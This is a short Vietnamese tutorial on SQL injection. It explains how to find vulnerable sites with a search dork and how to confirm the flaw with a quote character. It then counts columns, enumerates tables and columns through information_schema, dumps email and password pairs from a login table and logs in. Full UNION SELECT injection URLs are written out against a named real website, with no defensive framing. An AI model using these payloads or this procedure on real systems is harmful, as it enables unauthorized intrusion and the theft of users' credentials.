**1. Tìm website bị lỗi**

**Tìm website có đuôi inurl:product\_detail.php?id=site**

**2. Kiểm tra website có bị lỗi SQL injection không?**

**Thêm kí tự ' vào URL**

**3. Tìm số cột của tables mà có câu lệnh sql truy vấn**

**order by + số lượng(từ 1 đến khi nào lỗi)=> số cột**

**4. Hiện một số cột bị lỗi**

**Dùng union select: khi dùng-> bị lỗi?**

**=>do admin đã mã hóa các từ khóa SQL . Thế nên h chúng ta cần đưa ra 1**

**mệnh đề sai để kết quả trả về những cột lỗi**

**5. Kiểm tra một vài thông tin của Database**

**+ version đang chạy trên wb**

**+ tên database**

**Chèn thêm Version() vào URL**

**Chèn thêm database() vào URL**

**6. Liệt kê các bảng trong database**

**http://www.vsmc.com.vn/product\_detail.php?id=195%20and**

**%202=1%20union%20select%20all%201,2,3,group\_concat(table\_name),5**

**,6,7,8,9,10,11%20from%20information\_schema**

**.tables%20where%20table.schema=database()—**

**Lệnh group\_concat: lệnh gộp tất cả các table về 1 chuỗi**

**Table\_name chứa tất cả các tables**

**Lệnh information\_schema.tables: là 1 table hệ thống chứa tất cả các dữ liệu trên table trên server**

**table.schema: tìm các tables liên quan tới dữ liệu**

**7. Liệt kê các cột trong bảng có chứa thông tin login**

**vd: tbllogin**

**http://www.vsmc.com.vn/product\_detail.php?id=195%20and%202=**

**1%20union%20select%20all%201,2,3,group\_concat(column\_name),5,6,7,8,9,10,**

**11%20from%20information\_schema.columns%20where%20table\_name='tblogin'--**

**xảy ra lỗi=>**

**đổi chuỗi string=> hexa bằng:**

**http://www.string-functions.com/string-hex.aspx**

**Đổi xong, t thay tbllogin bằng 0x+ mã hexa vừa chuyển**

**=> thông tin các cột trong bảng tblogin**

**8. Xem thông tin các cột trong bảng:(email, pass word)**

**Chèn thêm email, 0x3a, password**

**http://www.vsmc.com.vn/product\_detail.php?id=195%20and**

**%202=1%20union%20select%20all%201,2,3,group\_concat(email, 0x3a, password),5**

**,6,7,8,9,10,11%20from tbllogin--**

**=> lấy được thông tin**

**9. Đăg nhập hệ thống.**